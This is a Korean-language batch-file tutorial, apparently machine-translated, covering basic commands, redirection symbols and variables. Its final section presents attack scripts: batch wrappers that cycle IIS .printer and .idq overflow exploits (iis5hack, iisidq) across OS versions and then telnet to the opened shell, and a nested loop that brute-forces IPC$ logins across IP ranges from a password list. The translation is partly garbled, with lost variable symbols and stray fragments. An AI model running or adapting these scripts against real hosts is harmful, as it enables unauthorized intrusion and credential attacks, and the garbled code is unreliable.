배치 파일 작성 방법

배치 파일은 확장자가 BAT인 특정 순서에 따라 실행 가능한 텍스트 파일로 조합된 일련의 명령입니다.

1. REM

REM은 프로그램에 주석을 달기 위해 일반적으로 사용되는 주석 명령입니다. 이 명령 이후의 내용은 프로그램 실행 시 표시되거나 실행되지 않습니다. 예:

REM 지금 보시는 것은 주석문이고, 이 문장은 실행되지 않습니다. 향후 예제에서 설명하는 모든 내용은 REM 뒤에 배치됩니다. 주의하시기 바랍니다.

2. ECHO

ECHO는 주요 매개 변수가 OFF 및 ON인 에코 명령으로 일반적으로 특정 메시지를 표시하는 데 사용됩니다. 예:

Echo off

Rem 위의 내용은 echo가 꺼지고 실행된 명령이 표시되지 않는다는 의미입니다.

Echo 메시지입니다.

위의 Rem은 "This is the message"라는 문자열을 표시한다는 의미입니다.

실행 결과:

C:\gt;ECHO.BAT

뉴스입니다.

3. GOTO

GOTO는 점프를 의미합니다. 일괄 처리에서는 ":XXX"를 사용하여 레이블을 구성한 다음 GOTO: 레이블을 사용하여 레이블 뒤의 명령을 직접 실행할 수 있습니다. 예

: LABEL

REM 위는 LABEL이라는 레이블입니다.

DIR C:\

DIR D:\

GOTO LABEL

REM 위 프로그램은 LABEL 레이블로 점프하고 계속 실행됩니다.

4. CALL

CALL 명령은 배치 실행 중에 다른 배치를 호출한 다음 다른 배치가 실행된 후에 원래 배치를 계속 실행할 수 있습니다. 예:

배치 2.BAT의 내용은 다음과 같습니다.

ECHO 이는 2의 내용입니다.

배치 1.BAT의 내용은 다음과 같습니다.

ECHO 1의 내용입니다.

CALL 2.BAT의 내용입니다.

ECHO 1, 2의 내용이 모두 표시됩니다

실행 결과는 다음과 같습니다.

C:\gt; 1.BAT

1의 내용입니다.

2의 내용입니다.

1과 2의 내용이 모두 표시됩니다.

5. PAUSE

PAUSE는 시스템 명령 실행을 중지하고 다음 내용을 표시합니다. 예:

C:\gt;

계속하려면 아무 키나 누르십시오.

조건부입니다. 판단문의 경우 구문 형식은 다음과 같습니다.

IF [NOT] ERRORLEVEL 숫자 명령

IF [NOT] string1==string2 명령

IF [NOT ] EXIST 파일 이름 명령

설명:

[NOT]은 반환된 결과를 반전시킵니다. 이는 "그렇지 않은 경우"를 의미합니다.

ERRORLEVEL은 명령 실행이 완료된 후 반환되는 종료 값입니다.

Number 종료 값의 개수는 0부터 255까지입니다. 판단 시간 값은 큰 것부터 작은 것 순으로 배열해야 한다. 반환된 값이 지정된 값보다 크거나 같으면 조건은 true입니다.

string1==string2 string1과 string2는 모두 문자 데이터입니다. 이 조건의 등호는 2(절대 동일)여야 합니다. 나중에 완료됩니다. 후속 명령을 실행하십시오.

EXIST 파일 이름은 파일 또는 디렉토리가 존재함을 의미합니다.

IF ERRORLEVEL은 명령 뒤에 배치되어야 합니다. 명령을 실행한 후 IF ERRORLEVEL을 사용하여 명령의 반환 값을 결정합니다.

예:

1. IF [NOT] ERRORLEVEL 숫자 명령

명령 실행 후 반환 값을 감지하여 판단합니다.

echo off

dir z:

rem 종료 코드가 1(실패)인 경우 제목 1로 점프하여 실행

IF ERRORLEVEL 1 goto 1

rem 종료 코드가 0(성공)이면 실행을 위해 헤더 0으로 점프합니다.

IF ERRORLEVEL 0 goto 0

:0

echo 명령이 성공적으로 실행되었습니다!

Rem은 프로그램 실행 후 제목 종료로 점프하고 종료합니다.

goto exit

: 1

echo 명령 실행이 실패했습니다!

Rem 프로그램이 실행된 후 제목으로 점프하여 종료합니다. 종료

goto exit

:exit

Rem 이것은 프로그램 종료

p>

2. IF string1==string2 명령

현재 변수의 값을 감지하고 판단

ECHO OFF

IF 1==2 goto no

에코 변수가 동일합니다!

나가기 종료

: 아니요

에코 변수가 동일하지 않습니다

나가기 종료

: 종료

p >

다음과 같은 효과를 볼 수 있습니다. C: \gt; test.bat number

3. IF [NOT] EXIST 파일 이름 명령

특정 파일을 찾아 make 판단

p>

echo off

존재하지 않는 경우 autoexec.bat goto 1

에코 파일이 성공적으로 존재합니다!

goto exit

: 1

에코 파일이 존재하지 않습니다. 실패했습니다!

goto exit

:exit

이 일괄 처리를 c 드라이브와 d 드라이브에서 별도로 실행하여 효과를 확인할 수 있습니다.

7. FOR

FOR 명령은 루프에서 명령을 실행하는 특수 명령입니다. 동시에 FOR 루프에서도 사용할 수 있습니다. 이번 글에서는 적용된 루프를 하지 않고 기본적인 사용법을 소개하겠습니다. 적용된 루프에 대해서는 나중에 설명하겠습니다. 일괄 처리의 FOR 명령은 다음과 같습니다.

FOR [c] IN (set) DO [command] [arguments]

명령줄의 명령은 다음과 같습니다.

FOR [c] IN (세트) DO [command] [인수]

공통 매개변수:

/L 이 세트는 시작부터 끝까지의 숫자를 나타냅니다. 증분 양식 순서.

따라서 (1,1,5)는 1 2 3 4 5 수열을 생성하고, (5,-1,1)은 (5 4 3 2 1) 수열을 생성합니다.

/D 세트에 와일드카드 문자가 포함된 경우 사양은 파일 이름이 아닌 디렉터리 이름과 일치합니다.

/F는 지정된 파일에서 데이터를 변수로 읽습니다.

eol=c - 줄 끝 주석 문자(단 하나만)를 나타냅니다.

건너뛰기 = n - 파일 시작 부분에서 무시할 줄 수를 나타냅니다.

delims=xxx - 구분 기호 집합을 나타냅니다. 이는 공백과 탭에 대한 기본 구분 기호 세트를 대체합니다.

tokens=x,y,m-n - 각 반복마다 각 행의 어떤 토큰이 에 전달되는지 나타냅니다. 이로 인해 추가 변수 이름이 할당됩니다. m-n 형식은 범위입니다. n번째 표기법을 통해 m번째를 지정합니다. 기호 문자열의 마지막 문자가 별표인 경우 마지막 기호가 확인된 후 추가 변수가 할당되고 해당 줄의 예약된 텍스트가 허용됩니다.

usebackq - 역따옴표로 묶인 문자열을 명령으로 실행하고 작은따옴표 문자를 리터럴 문자열 명령으로 실행할 때 새 구문을 사용하고 파일 이름 집합 이름에서 큰따옴표 파일을 허용하도록 지정합니다. .

예를 살펴보겠습니다:

FOR /F "eol=; tokens=2, 3* delims=, " i in (myfile.txt) do @echo i j k

p>

p>

는 myfile.txt의 각 줄을 분석하고, 세미콜론으로 시작하는 줄을 무시하고, 각 줄의 두 번째 및 세 번째 기호를 쉼표 및/또는 지정하여 프로그램 본문에 전달합니다. 공간 경계 기호. 프로그램 본문의 for 문은 i를 참조하여 두 번째 기호를 가져오고, j를 참조하여 세 번째 기호를 가져오고, k를 참조하여 세 번째 기호 뒤에 남은 모든 기호를 가져옵니다. 공백이 있는 파일 이름의 경우 파일 이름을 큰따옴표로 묶어야 합니다. 이런 방식으로 큰따옴표를 사용하려면 usebackq 옵션도 사용해야 합니다. 그렇지 않으면 큰따옴표가 구문 분석할 문자열을 정의하는 것으로 이해됩니다.

i는 for 문에 구체적으로 지정되고, j와 k는 tokens= 옵션을 통해 지정됩니다. 문자 'z' 또는 'Z'보다 큰 변수를 선언하지 않는 한 tokens= 행에 최대 26개의 기호를 지정할 수 있습니다. FOR 변수 이름은 대소문자를 구분하며 동시에 52개 이상 사용할 수 없습니다.

파일 이름 집합을 작은따옴표로 괄호로 묶어 인접한 문자열에 FOR /F 구문 분석 논리를 사용할 수도 있습니다. 이런 방식으로 문자열은 파일에서 단일 입력 행으로 처리됩니다. 마지막으로 FOR /F 명령을 사용하여 명령의 출력을 분석할 수 있습니다. 방법은 대괄호 사이의 파일 이름 집합을 역괄호로 묶인 문자열로 바꾸는 것입니다. 문자열은 명령줄로 처리되어 하위 CMD.EXE로 전달되고 해당 출력은 메모리에 저장되어 파일로 분석됩니다. 따라서 다음 예:

FOR /F "usebackq delims==" i IN (`set`) DO @echo i

현재 환경의 환경 변수 이름을 열거합니다.

다음은 /L 매개변수와 매개변수 없음의 차이를 보여주는 간단한 예입니다.

1.TXT 2.TXT 3.TXT 4.TXT 5 파일 삭제. TXT

예:

ECHO OFF

FOR /L F IN (1, 1, 5) DO DEL F.TXT

또는

FOR F IN (1, 2, 3, 4, 5) DO DEL F.TXT

위 두 명령의 실행 결과는 다음과 같습니다.

C:\gt;DEL 1.TXT

C:\gt;DEL 2.TXT

C:\gt;DEL 3.TXT

C:\gt;DEL 4.TXT

C:\gt;DEL 5.TXT

8. SETLOCAL

에서 환경 변경을 시작합니다. 배치 파일 현지화된 작업. SETLOCAL

실행 후 환경 변경은 배치 파일로 제한됩니다. 원래 설정을 복원하려면 ENDLOCAL을 실행해야 합니다

. 배치 파일의 끝에 도달하면 배치 파일의 아직 실행되지 않은 각

SETLOCAL 명령에 대해 암시적 ENDLOCAL이

실행됩니다. 예:

@ECHO OFF

SET PATH /*환경 변수 PATH 확인

PAUSE

SETLOCAL

SET PATH=E:\TOOLS /*환경 변수 PATH 재설정

SET PATH

PAUSE

ENDLOCAL

SET PATH

p>

위의 예에서 환경 변수 PATH가 처음 표시될 때 시스템 기본 경로임을 알 수 있습니다. E:\TOOLS로 설정한 후에는 E:\TOOLS로 표시되지만, ENDLOCAL 이후에는 시스템의 기본 경로로 복원된 것을 확인할 수 있습니다. 그러나 이 설정은 일괄 처리가 실행 중일 때만 적용됩니다. 일괄 실행이 완료되면 환경 변수 PATH가 복원됩니다.

9. SHIFT

SHIFT 명령을 사용하면 명령에서 10개(0~9) 이상의 대체 매개변수를 사용할 수 있습니다. 예:

ECHO OFF

에코 1 2 3 4 5 6 7 8 9

시프트

에코 1 2 3 4 5 6 7 8 9

시프트

ECHO 1 2 3 4 5 6 7 8 9

실행 결과는 다음과 같습니다.

C::\gt;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 9 10 11

위는 WIN2000을 기반으로 한 9개의 배치 명령입니다.

2부: 특수 기호 및 일괄 처리

일부 기호는 명령줄에서 사용할 수 없지만 일부 기호는 특별한 의미를 갖습니다.

1. 일괄 처리에서 기호(@)

@는 현재 줄의 에코를 끄는 것을 의미합니다. 위에서는 echo off 명령을 사용하면 일괄 처리 전체의 명령 에코를 끌 수 있지만 echo off 명령은 표시할 수 없다는 것을 알고 있습니다.

이제 모든 명령이 에코되지 않도록 하기 위해 echo off 명령이 @에 의해 꺼지도록 이 명령 앞에 @를 추가합니다.

2.

gt; 통과하다, 덮다라는 뜻입니다. 그 역할은 실행 후 에코 결과를 다음 범위로 전달하는 것입니다(후자는 파일이거나 기본 시스템 콘솔일 수 있음). 예:

파일 1.txt의 파일 내용은 다음과 같습니다.

1 1

c:\gt;dir *.txt gt;

이때 1.txt의 내용은 다음과 같습니다.

C 드라이브의 볼륨에는 레이블이 없습니다.

볼륨의 일련 번호는 301A-1508입니다.

C:\ 디렉터리

2003-03-11 14:04 1,005 FRUNLOG.TXT

p>

2003-04-04 16:38 18,598,494 log.txt

2003-04-04 17:02 5 1.txt

2003-03 -12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30,571 202.108.txt

파일 5개 18,630,070바이트

디렉토리 0개 1,191,542,784 사용 가능 bytes

gt; 명령 실행 결과가 표시됩니까?

콘솔에 전달되면 프로그램에 에코가 없습니다(참고: 여기의 에코는 다음과 동일하지 않습니다). echo off에 의해 꺼진 에코는 입력 명령의 에코를 끄고 여기서 에코는 프로그램 실행 중 또는 실행 후의 에코입니다. 예:

C:\gt; *.txt gt;nul

프로그램은 아무것도 표시하지 않으며 어떠한 추적도 생성하지 않습니다.

3. 기호(gt; gt;)

기호 gt;의 기능은 gt; 파일 끝에 전달되어 저장됩니다. gt; 에코를 콘솔에 전달할 수도 있습니다(사용법은 위와 동일). 예:

파일 1.txt에서도 동일:

1 1

c:\gt;dir *.txt gt;gt;1.txt 명령을 사용하십시오.

이때, 1. txt는 다음과 같습니다

1 1

C 드라이브의 볼륨에는 레이블이 없습니다.

볼륨의 일련 번호는 301A-1508입니다.

C:\ 디렉터리

2003-03-11 14:04 1,005 FRUNLOG.TXT

p>

2003-04-04 16:38 18,598,494 log.txt

2003-04-04 17:02 5 1.txt

2003-03 -12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30,571 202.108.txt

파일 5개 18,630,070바이트

디렉토리 0개 1,191,542,784 사용 가능 bytes

gt;gt; 명령 실행 결과를 원본 파일 내용으로 덮어씁니다.

4. 기호(|)

|는 파이프라인 전송 명령으로, 이전 명령 실행 결과를 다음 명령에 전달하여 처리한다는 의미입니다.

예:

C:\gt;dir c:\|find "1508"

볼륨의 일련 번호는 301A-1508입니다.

의미 위 명령은 c:\ 전체를 검색하여 1508 문자열을 찾았습니다. Find /?를 사용하여 Find yourself의 사용법을 확인하세요.

format의 자동 포맷 매개변수를 사용하지 않을 때 자동으로 디스크를 포맷하는 방법입니다.

echo y|fornat a : /s /q /v: 시스템

format 명령을 사용해 본 사람이라면 누구나 format에 대화형 변환 프로세스가 있다는 것을 알고 있을 것입니다. 이 프로세스에서는 사용자가 현재 명령이 실행되는지 확인하기 위해 y를 입력해야 합니다. 이 명령 앞에 echo y를 추가하고 파이프 전송 문자 |를 사용하여 echo 실행 결과 y를 형식으로 전송하여 y를 수동으로 입력하는 목적을 달성합니다(이 명령은 유해하므로 테스트할 때 주의하세요)

5 . 기호(^)

^는 특수 기호 gt;, lt;, amp;,의 선행 문자입니다. 명령에서 그는 위의 세 기호의 특수한 운동에너지를 제거하고 특별한 의미를 사용하지 않고 기호로만 취급했습니다. 예:

c:\gt; echo test ^gt; 1.txt

test gt

위에서 볼 수 있습니다. 1.txt 파일에는 테스트가 기록되지 않지만 문자열이 표시되면 test gt;1.txt가 표시됩니다. 이 표기법은 원격으로 배치를 구축할 때 유용합니다.

6. 기호(amp;)

amp; 기호를 사용하면 한 줄에 두 개 이상의 서로 다른 명령을 사용할 수 있습니다. 두 번째 명령. 예:

c:\gt; dir z:\ amp; dir y:\ amp; dir c:\

위 명령은 계속해서 z: y: c:를 표시합니다. 드라이브 내용은 드라이브 문자가 존재하는지 여부를 무시합니다.

7. 기호(amp; amp;)

amp; 기호를 사용하면 첫 번째 명령이 실행되지 않는 경우에도 2개 이상의 명령을 사용할 수 있습니다. , 후속 명령은 더 이상 실행되지 않습니다. 예:

c:\gt; dir z:\amp;amp;dir y:\amp;amp;dir c:\

위 명령은 존재 z: 디스크가 있으면 실행하고, 존재하지 않으면 모든 후속 명령 실행을 중지합니다.

8. 기호(" ")

" "기호는 공백을 포함할 수 있도록 허용합니다. 문자열에서. 특수 디렉토리에 들어가려면 다음 방법을 사용하십시오:

c:\gt;cd “Program Files”

c:\gt;cd progra~1

c:\gt;cd pro*

위의 방법을 통해 Program Files 디렉터리에 들어갈 수 있습니다

9. 기호(,)

기호는 공백과 같습니다. 특별한 경우에는 공백 대신 사용할 수도 있습니다. 예:

c:\gt; dir, c:\

10. 기호(;)

; 명령은 동일합니다. 대상 사용은 격리되어 있지만 실행 효과는 변경되지 않습니다. 실행 중에 오류가 발생하면 오류 보고서만 반환되지만 프로그램은 계속 실행됩니다. 예:

DIR C:\;D:\;E:\F:\

위 명령은

DIR C:\

DIR D:\

DIR E:\

DIR F:\

물론 몇 가지 특수 기호가 있지만 사용 범위는 다음과 같습니다. 매우 작기 때문에 여기서는 하나씩 설명하지 않겠습니다.

3부: 일괄 처리 및 변수

일괄 처리에서 변수를 적절하게 참조하면 작성한 프로그램을 보다 광범위하게 적용할 수 있습니다. 일괄 처리는 0부터 9***10까지의 변수를 한 번에 처리할 수 있습니다. 이 중 일괄처리의 파일명은 기본적으로 0을 사용한다. 0은 SHIFT 명령을 사용한 후에만 1로 바뀔 수 있습니다. Shift 명령을 인용하는 예입니다. 1 앞에 0을 추가하면 결과는 다음과 같습니다.

C::\gt;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

SHIFT.BAT 1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

시스템은 각 변수를 어떻게 구별하나요? 시스템의 변수 구별 규칙은 문자열 중간의 공백, 즉 공백이 발견되면 바로 앞에 있는 문자입니다. 공백은 하나의 변수로 처리되고 공백 뒤의 문자는 다른 변수로 처리됩니다. 변수가 공백을 포함하는 긴 디렉터리 이름인 경우 이전 섹션의 특수 기호 8에 사용된 따옴표를 사용하여 묶어야 합니다. 예:

일괄 처리 내용은 다음과 같습니다.

ECHO 1

ECHO 2

ECHO 3

Enter 명령:

C:\gt;TEST "Program Files" 프로그램 파일

프로그램 파일

프로그램

파일

복잡한 배치 프로세스에서는 10개 이상의 변수가 동시에 사용될 수 있습니다. 이는 시스템 규칙과 충돌할 수 있습니다. 그렇다면 이 문제를 어떻게 해결해야 할까요? 시스템에는 환경 변수라는 유형의 변수도 있습니다(현재 시스템의 환경 변수를 보려면 SET 명령을 사용하십시오). 예를 들어 현재 시스템 디렉토리는 windir 또는 SystemRoot 등입니다. 10개 이상의 매개변수를 동시에 사용하는 경우, 후속 프로그램에서 호출될 일부 변수를 환경 변수로 저장할 수 있습니다. 구체적인 사용법은 SET A=1입니다. 이런 식으로 새 환경 변수의 이름을 A로 지정합니다. 변수 A를 호출할 때 환경 변수는 SHIFT 명령의 영향을 받지 않습니다. 환경 변수를 변경하려면 변경하기 전에 재설정해야 합니다. 물론 목표를 달성하기 위해 변수 간에 변수를 전송할 수도 있습니다. 예를 들어 보겠습니다. 일괄 처리는 다음과 같습니다.

ECHO OFF

SET PASS=1

SHIFT

SET PASS1 =1

시프트

에코 패스 패스1 1 2 3 4 5 6 7 8 9

시프트

에코 패스 패스1 9

p>

SET PASS=PASS1 변수 전송

SET PASS1=9

SHIFT

ECHO PASS PASS1 9

사용 명령: C:\gt;TEST A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K 참고: 이 줄에는 11개의 변수가 표시됩니다.

A B L SHIFT를 세 번 사용한 후 9가 L이 되었습니다

BL 변수를 전달한 결과

4부: 완전한 사례

위는 일괄 처리입니다. . 이제 우리는 이러한 사용법을 결합하고 현재 온라인에 게시된 일부 일괄 처리를 자세히 분석하여 작동 방식을 확인합니다. 여기서는 자세한 분석을 위해 세 가지 예를 나열하겠습니다. 프로그램을 완전하게 유지하기 위해 내 의견은 /* 뒤에 추가됩니다.

예 1

이 예는 iis5hack.exe를 사용하여 .printer 취약점이 있는 호스트에서 오버플로 일괄 처리를 수행합니다. 사용되는 프로그램은 iis5hack.exe와 시스템 자체의 telnet.exe입니다. iis5hack의 명령 형식은 다음과 같습니다.

iis5hack lt; target port lt; target version lt; 서로 다른 언어 버전과 sp 시스템 버전의 경우, 우리가 컴파일한 일괄 처리에 사용되는 명령 형식은 lt; target ip(시작 버전 번호) gt;입니다. 절차는 다음과 같습니다.

@echo off /*명령 echo 끄기

if "1"=="" goto help /*1이 비어 있는지 판단, 1이 대상 IP입니다.

if "2"=="1" goto 1 /*2가 1인지 판단하고, 1이면 마크 1로 점프합니다.

if "2"=="2" goto 2 / *2는 시작 버전 번호, 설정되지 않은 경우

if "2"=="3" goto 3 /*존재하는 경우 일치하는 위치부터 실행이 시작됩니다

if " 2"== "4" 4로 이동

if "2"=="5"로 5로

if "2"=="6"로 6

if " 2"=="7" goto 7

if "2"=="8" goto 8

존재하지 않는 경우 iis5hack.exe goto 파일 /*If iis5hack .exe를 찾을 수 없으면 실행 플래그 파일 세그먼트 내용

ping 1 -n 1 | find "Received = 1" /*대상을 한 번 핑하고 결과에서 Receiverd = 1을 찾습니다.

if errorlevel 1 goto error /*반환 코드가 1이면 오류 섹션을 실행합니다(코드 1은 찾을 수 없음을 의미하고 0은 성공적으로 찾아서 실행되었음을 의미함)

iis5hack 1 80 9 88 | " /*대상 포트 80 시스템 코드 9 오버플로 시작 오버플로 후 포트 88에 연결하여 실행 결과에서 "good" 문자열을 찾습니다. (오버플로가 성공한 후에 문자열 "good"을 찾을 수 있습니다)

if not errorlevel 1 goto telnet /*오류 코드가 없으면 1(오버플로 성공) ) telnet 세그먼트의 내용을 실행합니다.

echo 운영 체제 유형 9가 실패했습니다! /그렇지 않으면 이 문장이 표시됩니다

: 8 /*다음 코드 내용은 위 내용을 나타냅니다.

iis5hack 1 80 8 88 | "좋음"을 찾으세요

오류 수준 1로 가세요

echo 운영 체제 유형 8이 실패했습니다! iis5hack 1 80 7 88 | "좋음"을 찾으세요.

오류 수준 1이 아닌 경우 텔넷으로 이동하세요.

echo 운영 체제 유형 7이 실패했습니다!

iis5hack 1 80 6 88 | "좋은" 찾기

오류 수준 1이 아닌 경우 텔넷으로 이동

echo 운영 체제 유형 6 실패! /p>

iis5hack 1 80 5 88 | "좋은" 찾기

오류 수준 1이 아닌 경우 텔넷으로 이동

echo 운영 체제 유형 5 실패! :4

iis5hack 1 80 4 88 | "좋은" 찾기

오류 수준이 아닌 경우 텔넷으로 이동

echo 운영 체제 유형 4 실패!

: 3

iis5hack 1 80 3 88 | "좋음"을 찾으세요.

오류 수준이 아니면 텔넷으로 가세요

echo 운영 체제 유형 3이 실패했습니다! /p>

:2

iis5hack 1 80 2 88 | "좋은" 찾기

오류 수준이 아닌 경우 telnet으로 이동

echo 운영 체제 유형 2 실패!

:1

iis5hack 1 80 1 88 | "좋음"을 찾으세요.

오류 수준이 아닌 경우 텔넷으로 이동하세요.

에코 작동 시스템 유형 1이 실패했습니다!

:0

iis5hack 1 80 0 88 | "양호"를 찾으세요.

아니면 오류 수준 1로 가세요

echo 운영 체제 유형 0이 실패했습니다!

goto 오류

: telnet

telnet 1 88 /*대상 IP의 포트 88에 연결 시작

goto exit / *연결이 중단된 후 종료 섹션으로 이동

: error /*오류 섹션에는 오류 후 도움말 정보가 표시됩니다.

echo 네트워크가 연결되지 않거나 상대방이 취약점을 패치할 수 없습니다! 아래 단계를 따르십시오.

echo iis5hack [대상 IP] [WEB 포트] [시스템 유형] [오픈 포트]

ECHO 중국어: 0

ECHO 중국어 sp1: 1

ECHO 영어: 2

ECHO 영어 sp1: 3

에코 일본어:

4

ECHO 일본어 sp1: 5

ECHO 한국어: 6

ECHO 한국어 sp1: 7

ECHO 멕시코: 8

p>

ECHO Mexican sp1: 9

gotoexit /*점프 종료 섹션

: file /*file 섹션에는 파일을 찾을 수 없다는 정보가 표시됩니다

echo 파일 iis5hack.exe를 찾을 수 없습니다! 프로그램이 종료되었습니다!

goto exit /*Jump 종료 섹션

: help /*help 섹션에 도움말 형식이 표시됩니다. 이 배치 프로세스의 경우

echo 이 프로그램의 사용법은 다음과 같습니다:

echo iis [대상 IP]

echo iis [대상 IP] [시작 번호 9-0]

:exit /*종료 섹션은 프로그램 종료입니다.

이 일괄 처리는 기본적으로 루프가 없으며 끝까지 진행됩니다. 그래서 코드도 비교적 길고 어렵지 않아요!

예 2

이 예는 iisidq.exe를 사용하여 idq 취약점이 있는 시스템에서 오버플로 일괄 처리를 수행합니다. 사용되는 프로그램은 iisidq.exe와 시스템 자체 프로그램 telnet.exe입니다. iisidq.exe의 사용법은 다음과 같습니다.

실행 매개변수: 운영 체제 유형 대상 주소 웹 포트 1 오버플로 수신 포트 lt 입력 명령 1gt; 명령 매개변수가 입력되지 않은 경우 기본값은 "cmd.exe"입니다.

운영 체제 유형 유형의 코드 범위는 0-14입니다. 우리가 컴파일한 일괄 처리에 사용된 명령 형식은 lt; idq.bat target ipgt입니다. 프로그램은 다음과 같습니다.

@echo off /*예제 1과 동일

EXIST iisidq.exe goto 파일 /*같은 예 1

if 1 == "" goto error /*같은 예 1

ping 1 -n 1 find "Received = 1" /*같은 예 1

if errorlevel 1 goto error1 /*예 1과 동일

set b=1 /*환경 변수 b를 생성하고 변수 1의 내용을 환경에 전달 변수 ㄴ. 변수 b의 내용은 향후 대상 IP가 됩니다.

set a=0 /*환경 변수 a를 생성하고 환경 변수 a를 0으로 지정합니다. 전체 일괄 처리 루프가 사용되므로 a가 카운터로 사용됩니다.

:no /*없음 섹션 시작

if a==0 set d=0 /*환경 변수 a=0이면 환경 변수 d를 만들고 환경 변수 d=를 설정합니다. 0 .

if a==1 set d=1 /*환경 변수 d는 실제로 운영 체제 유형 코드이며 카운터에 의해 제어됩니다.

if a==2 set d= 2 / *변경.

a==3인 경우 d=3으로 설정

a==4인 경우 d=4로 설정

a==5인 경우 d=5로 설정

p>

p>

a==6인 경우 d=6으로 설정

a==7인 경우 d=7로 설정

a==9인 경우 d=로 설정 9

if a==10 set d=13

if a==11 set d=14

goto 0 /*변수 전송이 완료된 후 , 플래그 0으로 이동하여 실행하세요.

: 1

echo가 항목 d를 실행 중입니다! 연결을 시도하는 중입니다. 잠시 기다려 주세요...

: 0 /* 플래그 0 시작

IISIDQ d b 80 1 99 |find "good" /*형식에 따라 오버플로 명령을 보내고 결과에서 good 문자열을 찾습니다(good 문자열이 발견됩니다). 코드가 성공적으로 전송된 후에만)

if errorlevel 1 goto 1 /*양호한 문자열이 없으면 홉으로 전송되지 않습니다.

/*계속 시도하세요 goto 마크에서 보내기 1

ping 127.0.0.1 -n 8 nul /*자신에게 8번 ping을 보내는 것은 실행 결과를 표시하지 않고 8초의 지연과 같습니다.

/ *실행 결과

echo가 d 항목을 실행 중입니다! /*오버플로 작업을 보고합니다. 시스템 유형

telnet b 99 /*오버플로 포트를 연결합니다.

echo. 빈 줄 표시

if d==14 goto error1 /*작동 시 시스템 유형이 14인 경우 error1로 점프(루프 종료)

if d==13 set a =11 /*운영 체제 코드를 다시 평가하기 위해 카운터를 사용하기 시작합니다.

if d ==9 set a=10

if d==7 set a=9

p>

d==6인 경우 a=7로 설정

d== 5인 경우 a=6으로 설정

d==4인 경우 a=5로 설정

d==3인 경우 a=4로 설정

d==2인 경우 a=3으로 설정

d==1인 경우 a=2로 설정

if d==0 set a=1

goto no /*점프를 완료하려면 값을 추가하세요. 실행을 위해 no 섹션으로 이동하세요.

: file /*다음은 도움말 팁입니다. 오류 후

echo IIsidq.exe를 찾을 수 없습니다! 이 파일과 동일한 디렉터리에 파일을 배치하세요!

p>

종료하세요! :error

echo error! 대상 IP가 인식되지 않습니다!

echo idq [대상 IP ]

goto exit

: 오류1

에코 연결이 실패했습니다! 대상 컴퓨터가 취약점을 패치했거나 네트워크 오류로 인해 발생한 것일 수 있습니다.

echo 시도해 보세요!

echo iisidq [대상 유형] [대상 IP] [대상 포트] [연결 방법] [오버플로 포트]

echo telnet [ 대상 IP] [ 오버플로 포트]

: 종료 /*전체 프로그램 종료

이 일괄 처리에 사용되는 전체 루프는 카운터 부분을 마스터링하여 마스터할 수 있습니다.

예 3

for /l a in (0, 1, 255) do for /l b in (0, 1, 255) do for /l c in (1, 1, 254 ) do for /f "tokens=1, 2*" e in (userpass.txt) do net use \\1.a.b.c\ipc$ e /u:f

위 명령은 1 명령입니다. 보시다시피 이 명령은 4개의 FOR를 사용하여 적용합니다. 사용법은 다음과 같습니다. C:\gt; TEST.BAT 218 218을 입력하고 Enter를 누르면 명령은 첫 번째 값에서 초기 값 0을 a로 사용한 다음 계속해서 두 번째 값의 b로 사용합니다. 계속해서 세 번째 값을 사용합니다. for의 초기 값은 c입니다. 마지막 for는 userpass.txt의 첫 번째 문자를 비밀번호 e로 사용하고 두 번째 문자를 사용자 이름 f로 사용하는 것입니다. 위의 값을 사용하고 비밀번호를 123으로 설정합니다. 사용자 이름은 abc)

net usr \\218.0.0.1\ipc$ 123 /u: abc

물론 몇몇 친구는 위의 예는 너무 단순하고 너무 경직되고 융통성이 없다고 말할 수 있습니다. 나는 이 예제를 일부 수정했으며(전체 파일은 CD-ROM ipc.bat에서 찾을 수 있음) 관심 있는 친구들이 직접 찾아볼 수 있습니다. 수정된 프로그램은 사용자가 지정한 시작부터 끝까지의 범위 또는 사용자가 지정한 시작부터 최대 IP까지의 범위를 유연하게 검색할 수 있습니다. 물론, 기능이 어디까지 향상될 수 있는지, 새로운 도구가 될 수 있는지 여부는 귀하에게 달려 있습니다.

이번의 루핑 작업은 주로 IP 번호를 교체하는 것이 번거로워서 방법이 없기 때문에 약간 큽니다. 이 배치 과정에 대해서는 따로 코멘트를 쓰지 않겠습니다. 위 내용을 참고하시면 이 배치 과정을 빠르게 이해하실 수 있을 것입니다. 이해한다면 간단하다고 말하지 마세요! 최소한 이것은 타사 도구를 사용하지 않고도 취약한 비밀번호를 감지하고 저장할 수 있는 일괄 프로세스입니다! ! 단순한 변화는 여전히 매우 해로울 수 있습니다. 위의 모든 배치 프로세스는 win2000 및 XP에서 테스트되고 통과되었습니다. 가장 큰 장점은 배치 파일이 하나만 있고 잘못된 경보가 전혀 없다는 것입니다. 단점은 너무 길다는거!

上篇: 국가 주요 과학기술사업의 사업기획 분류 下篇: 휴대 전화에서 크세르크세스 채널 2 를 보는 방법
관련 내용